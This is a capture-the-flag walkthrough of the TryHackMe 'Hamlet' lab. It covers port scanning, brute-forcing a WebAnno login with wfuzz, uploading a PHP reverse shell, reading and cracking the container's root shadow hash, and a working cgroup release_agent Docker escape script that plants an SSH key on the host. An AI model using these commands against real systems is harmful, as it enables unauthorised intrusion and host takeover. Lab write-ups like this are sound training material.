Docker Escape first trial -- Tryhackme Hamlet walkthrough

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[TOC]

This is the ROOM for Hamlet THM

Subscribe Room

Collecting infomation

Ports/Scan and common infomation gathering

do as rustscan with – -A to scan more deep

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PORT     STATE SERVICE     REASON         VERSION
21/tcp   open  ftp         syn-ack ttl 63 vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rwxr-xr-x    1 0        0             113 Sep 15 14:45 password-policy.md
|_-rw-r--r--    1 0        0            1425 Sep 15 14:48 ufw.status
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.9.165.41
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp   open  ssh         syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 a0:ef:4c:32:28:a6:4c:7f:60:d6:a6:63:32:ac:ab:27 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5/i3O28uWolhittypXr6mAEk+XOV998o/e/3wIWpGq9J1GhtGc3J4uwYpBt7SiS3mZivq9D5jgFhqhHb6zlBsQmGUnXUnQNYyqrBmGnyl4urp5IuV1sRCdNXQdt/lf6Z9A807OPuCkzkAexFUV28eXqdXpRsXXkqgkl5DCm2WEtV7yxPIbGlcmX+arDT9A5kGTZe9rNDdqzSafz0aVKRWoTHGHuqVmq0oPD3Cc3oYfoLu7GTJV+Cy6Hxs3s6oUVcruoi1JYvbxC9whexOr+NSZT9mGxDSDLS6jEMim2DQ+hNhiT49JXcMXhQ2nOYqBXLZF0OYyNKaGdgG35CIT40z
|   256 5a:6d:1a:39:97:00:be:c7:10:6e:36:5c:7f:ca:dc:b2 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBHtt/3Q8agNKO48Zw3srosCs+bfCx47O+i4tBUX7VGMSpzTJQS3s4DBhGvrvO+d/u9B4e9ZBgWSqo+aDqGsTZxQ=
|   256 0b:77:40:b2:cc:30:8d:8e:45:51:fa:12:7c:e2:95:c7 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIN4jv01JeDGsDfhWIJMF8HBv26FI18VLpBeNoiSGbKVp
80/tcp   open  http        syn-ack ttl 63 lighttpd 1.4.45
|_http-title: Hamlet Annotation Project
| http-methods: 
|_  Supported Methods: GET HEAD POST
|_http-server-header: lighttpd/1.4.45
501/tcp  open  nagios-nsca syn-ack ttl 63 Nagios NSCA
8000/tcp open  http        syn-ack ttl 62 Apache httpd 2.4.48 ((Debian))
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-title: Site doesn't have a title (text/html).
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: Apache/2.4.48 (Debian)
8080/tcp open  http-proxy  syn-ack ttl 62
| http-methods: 
|_  Supported Methods: GET HEAD OPTIONS
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.1 500 
|     Content-Type: application/json;charset=UTF-8
|     Date: Sun, 16 Jan 2022 14:58:38 GMT
|     Connection: close
|     {"timestamp":1642345118098,"status":500,"error":"Internal Server Error","exception":"org.springframework.security.web.firewall.RequestRejectedException","message":"The request was rejected because the URL contained a potentially malicious String "%2e"","path":"/nice%20ports%2C/Tri%6Eity.txt%2ebak"}
|   GetRequest: 
|     HTTP/1.1 302 
|     Set-Cookie: JSESSIONID=C017D7D255ED9A68595CB26AA7526BC7; Path=/; HttpOnly
|     X-Content-Type-Options: nosniff
|     X-XSS-Protection: 1; mode=block
|     Cache-Control: no-cache, no-store, max-age=0, must-revalidate
|     Pragma: no-cache
|     Expires: 0
|     X-Frame-Options: SAMEORIGIN
|     Location: http://localhost:8080/login.html
|     Content-Length: 0
|     Date: Sun, 16 Jan 2022 14:58:32 GMT
|     Connection: close
|   HTTPOptions: 
|     HTTP/1.1 302 
|     Set-Cookie: JSESSIONID=25F87E269C0D041929D729DF05B30A33; Path=/; HttpOnly
|     X-Content-Type-Options: nosniff
|     X-XSS-Protection: 1; mode=block
|     Cache-Control: no-cache, no-store, max-age=0, must-revalidate
|     Pragma: no-cache
|     Expires: 0
|     X-Frame-Options: SAMEORIGIN
|     Location: http://localhost:8080/login.html
|     Content-Length: 0
|     Date: Sun, 16 Jan 2022 14:58:33 GMT
|     Connection: close
|   RTSPRequest: 
|     HTTP/1.1 400 
|     Content-Type: text/html;charset=utf-8
|     Content-Language: en
|     Content-Length: 435
|     Date: Sun, 16 Jan 2022 14:58:35 GMT
|     Connection: close
|     <!doctype html><html lang="en"><head><title>HTTP Status 400 
|     Request</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 400 
|_    Request</h1></body></html>
| http-title: WebAnno - Log in 
|_Requested resource was http://10.10.232.86:8080/login.html
|_http-trane-info: Problem with XML parsing of /evox/about
|_http-open-proxy: Proxy might be redirecting requests
|_http-favicon: Spring Java Framework


You Need Know The service on port 8080 takes a long time to start

It should be like that, if you can’t detected the ports 8080, scan again.

Access

80

We can see

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If you want to help out, send an email to Michael 'ghost' Canterbury ([email protected]). He's obsessed with Hamlet

maybe the username of Michael is ghost

501

a script run on it with question you need answer.

8000

a webserver works on and looks like a webpage hosts.

The index has an iframe tag with location
/repository/project/0/document/0/source/

The file is same as location {HOST}:80/hamlet.txt

8080 [*]

This is a web server as well with Spring framework.(You may like try the log4j?) and the Service Webanno is Working on there.

It has the login page at /login.html

21 [*]

It has FTP. allow the Anonymous login with fake password.

you will found the password-policy.md, we will use it later.

Misc

search a little bit with pages we can see.

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ftp sunsite.unc.edu
login: anonymous
password: your@login
cd pub/docs/books/gutenberg
cd etext90 through etext99

Attempt

Password list create

As the Hint of the Question 1 :You will, most likely, create a wordlist and test against WebAnno.
We need to create the password list with some text in website.

So Cewl is what you need. 

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cewl http://{HOST}/hamlet.txt  > cewllist
  • cewl and save in file
  • Delete the cewl banner
  • Filter the eachline if shorter than 12 chars [password policy] save more than 12-chars’ lines
  • convert to lowercase [password policy]

you can got the file at 70+ lines

enum

try brute force the password with username ghost

the thread needs slower,the service seems down easily.

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export targetHost="10.10.78.88"
export targetUser="ghost"
wfuzz -w ./passcode_lowercase -t 1 -d "urlfragment=&username=${targetUser}&password=FUZZ" "http://${targetHost}:8080/login.html?-1.-loginForm"

got the response

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********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.78.88:8080/login.html?-1.-loginForm
Total requests: 79

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                  
=====================================================================

000000001:   200        213 L    495 W      8417 Ch     "abbreviations"                                                                                                          
000000003:   200        213 L    495 W      8417 Ch     "alternatively"                                                                                                          
000000005:   200        213 L    495 W      8417 Ch     "announcement"                                                                                                           
000000002:   200        213 L    495 W      8417 Ch     "abridgements"                                                                                                           
000000004:   200        213 L    495 W      8417 Ch     "ambassadours"                                                                                                           
000000006:   200        213 L    495 W      8417 Ch     "anticipation"                                                                                                           
000000008:   200        213 L    495 W      8417 Ch     "appurtenance"                                                                                                           
000000010:   200        213 L    495 W      8417 Ch     "circumstance"                                                                                                           
000000007:   200        213 L    495 W      8417 Ch     "apprehension"                                                                                                           
000000009:   200        213 L    495 W      8417 Ch     "capitalization"                                                                                                         
000000011:   200        213 L    495 W      8417 Ch     "circumstance"                                                                                                           
000000013:   200        213 L    495 W      8417 Ch     "commencement"                                                                                                           
000000015:   200        213 L    495 W      8417 Ch     "computerized"                                                                                                           
000000012:   200        213 L    495 W      8417 Ch     "circumstances"                                                                                                          
000000014:   200        213 L    495 W      8417 Ch     "compulsatiue"                                                                                                           
000000016:   200        213 L    495 W      8417 Ch     "congregation"                                                                                                           
000000018:   200        213 L    495 W      8417 Ch     "consequential"                                                                                                          
000000020:   200        213 L    495 W      8417 Ch     "considerable"                                                                                                           
000000017:   200        213 L    495 W      8417 Ch     "consequential"                                                                                                          
000000019:   200        213 L    495 W      8417 Ch     "conservative"                                                                                                           
000000021:   200        213 L    495 W      8417 Ch     "consummation"                                                                                                           
000000023:   200        213 L    495 W      8417 Ch     "contributions"                                                                                                          
000000025:   200        213 L    495 W      8417 Ch     "conueniently"                                                                                                           
000000022:   200        213 L    495 W      8417 Ch     "contribution"                                                                                                           
000000024:   200        213 L    495 W      8417 Ch     "controuersie"                                                                                                           
000000026:   200        213 L    495 W      8417 Ch     "conuersation"                                                                                                           
000000028:   200        213 L    495 W      8417 Ch     "disappointed"                                                                                                           
000000030:   200        213 L    495 W      8417 Ch     "distribution"                                                                                                           
000000027:   200        213 L    495 W      8417 Ch     "determination"                                                                                                          
000000029:   200        213 L    495 W      8417 Ch     "distribution"                                                                                                           
000000031:   200        213 L    495 W      8417 Ch     "electronically"                                                                                                         
000000033:   200        213 L    495 W      8417 Ch     "entertainment"                                                                                                          
000000035:   200        213 L    495 W      8417 Ch     "equiuocation"                                                                                                           
000000032:   200        213 L    495 W      8417 Ch     "encompassement"                                                                                                         
000000034:   200        213 L    495 W      8417 Ch     "entreatments"                                                                                                           
000000036:   200        213 L    495 W      8417 Ch     "forgiuenesse"                                                                                                           
000000038:   200        213 L    495 W      8417 Ch     "guildensterne"                                                                                                          
000000040:   200        213 L    495 W      8417 Ch     "imperfections"                                                                                                          
000000037:   200        213 L    495 W      8417 Ch     "guildenstern"                                                                                                           
000000039:   200        213 L    495 W      8417 Ch     "imaginations"                                                                                                           
000000041:   200        213 L    495 W      8417 Ch     "incontinencie"                                                                                                          
000000043:   200        213 L    495 W      8417 Ch     "indifferently"                                                                                                          
000000045:   200        213 L    495 W      8417 Ch     "indiscretion"                                                                                                           
000000042:   200        213 L    495 W      8417 Ch     "incorporated"                                                                                                           
000000044:   200        213 L    495 W      8417 Ch     "indirections"                                                                                                           
000000046:   200        213 L    495 W      8417 Ch     "inexplicable"                                                                                                           
000000048:   200        213 L    495 W      8417 Ch     "instrumentall"                                                                                                          
000000050:   200        213 L    495 W      8417 Ch     "invulnerable"                                                                                                           
000000047:   200        213 L    495 W      8417 Ch     "infringement"                                                                                                           
000000049:   200        213 L    495 W      8417 Ch     "intellectual"                                                                                                           
000000051:   200        213 L    495 W      8417 Ch     "malefactions"                                                                                                           
000000053:   200        213 L    495 W      8417 Ch     "modification"                                                                                                           
000000055:   200        213 L    495 W      8417 Ch     "prosperously"                                                                                                           
000000052:   200        213 L    495 W      8417 Ch     "merchantability"                                                                                                        
000000054:   200        213 L    495 W      8417 Ch     "preparations"                                                                                                           
000000056:   200        213 L    495 W      8417 Ch     "protestation"                                                                                                           
000000058:   200        213 L    495 W      8417 Ch     "quintessence"                                                                                                           
000000060:   200        213 L    495 W      8417 Ch     "reconcilement"                                                                                                          
000000057:   200        213 L    495 W      8417 Ch     "questionable"                                                                                                           
000000059:   200        213 L    495 W      8417 Ch     "recognizances"                                                                                                          
000000061:   200        213 L    495 W      8417 Ch     "remembrances"                                                                                                           
000000063:   200        213 L    495 W      8417 Ch     "remorselesse"                                                                                                           
000000065:   200        213 L    495 W      8417 Ch     "stubbornnesse"                                                                                                          
000000062:   200        213 L    495 W      8417 Ch     "remembraunce"                                                                                                           
000000064:   200        213 L    495 W      8417 Ch     "satisfaction"                                                                                                           
000000066:   200        213 L    495 W      8417 Ch     "substitutions"                                                                                                          
000000068:   200        213 L    495 W      8417 Ch     "transcription"                                                                                                          
000000070:   200        213 L    495 W      8417 Ch     "tyrannically"                                                                                                           
000000067:   200        213 L    495 W      8417 Ch     "tediousnesse"                                                                                                           
000000069:   200        213 L    495 W      8417 Ch     "transformation"                                                                                                         
000000071:   200        213 L    495 W      8417 Ch     "vnderstanding"                                                                                                          
000000073:   200        213 L    495 W      8417 Ch     "vndertakings"                                                                                                           
000000075:   200        213 L    495 W      8417 Ch     "vneffectuall"                                                                                                           
000000072:   200        213 L    495 W      8417 Ch     "vnderstanding"                                                                                                          
000000074:   200        213 L    495 W      8417 Ch     "vndiscouered"                                                                                                           
000000076:   200        213 L    495 W      8417 Ch     "vnpreuayling"                                                                                                           
000000078:   200        213 L    495 W      8417 Ch     "vnproportion"                                                                                                           
000000077:   200        213 L    495 W      8417 Ch     "vnprofitable"                                                                                                           
000000079:   302        0 L      0 W        0 Ch        "passMasked"                                                                                                           

Total time: 0
Processed Requests: 79
Filtered Requests: 0
Requests/sec.: 0

Bad luck the last is the correct password.

creds found 

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username: ghost
password: passMasked

Gain Shell

The webserver has file upload with function import.

So import our shell and upload it next the hamlet.txt.

and get reverse shell like.

Access lile

http://10.10.78.88:8000//repository/project/0/document/1/source/YOUR_SHell.php

And you can get shell back.

In Docker

www-data

If you check the / folder,the .dockerenv is in.So The Env is in the docker.We need level up the privilege and escape it.

Easily check the files and I found suid executable CAT that means we can read password file in docker with root privilege.

cat the shadow file and found the root hash

root:$y$j9T$.9s2wZRY3hcP/udKIFher1$sIBIYsiMmFlXhKOO4ZDJDXo54byuq7a4xAD0k9jw2m4:18885:0:99999:7:::

it has a little bit confused because the hash should be begin with $6$ instead of $y$. And even I can’t found anything about it on the hashcat example hash list.

At that time, The developer of the Room helps me.

That’s a new hashing algorithm (new standard in Debian and Ubuntu) called Yescrypt

john is Supported by add option --format=crypt instead of auto detect.But hashcat not.The issue is still open at there.

root

take the shadow file and passwd file

unshadow shadow passwd > unshadow

and crack as

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$ john unshadow --format=crypt 
Using default input encoding: UTF-8
Loaded 1 password hash (crypt, generic crypt(3) [?/64])
Cost 1 (algorithm [1:descrypt 2:md5crypt 3:sunmd5 4:bcrypt 5:sha256crypt 6:sha512crypt]) is 0 for all loaded hashes
Cost 2 (algorithm specific iterations) is 1 for all loaded hashes
Will run 2 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 94 candidates buffered for the current salt, minimum 96 needed for performance.
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
0g 0:00:01:11 5.76% 2/3 (ETA: 21:49:18) 0g/s 120.4p/s 120.4c/s 120.4C/s danielles..liberties
rootPASShere           (root)     
1g 0:00:02:47 DONE 2/3 (2022-01-17 21:31) 0.005968g/s 119.4p/s 119.4c/s 119.4C/s acituan..ylfrepus
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

creds 

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username: root
password: rootPASShere

su and got the root,also the flag4.

out of docker

look at the /dev That has cpu,…..

So easily guess we has the privilege mode docker.

abuse the release agent and we will execute commands on “real” machine.

exp i use as following

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mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent

export commands="${YOUR_COMMAND_THERE}" 
# you can write ssh keys to the /root/.ssh/authorized_keys file and get root

echo '#!/bin/sh' > /cmd
echo "$commands > $host_path/output" >> /cmd

chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

my exps is just use the 

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export commands="cat >> /root/.ssh/authorized_keys <<EOF
ssh-rsa AAAA(MY_SSH_PUBLIC_KEY)
EOF && echo success"

refer: https://book.hacktricks.xyz/linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape

At last, You got the flag6.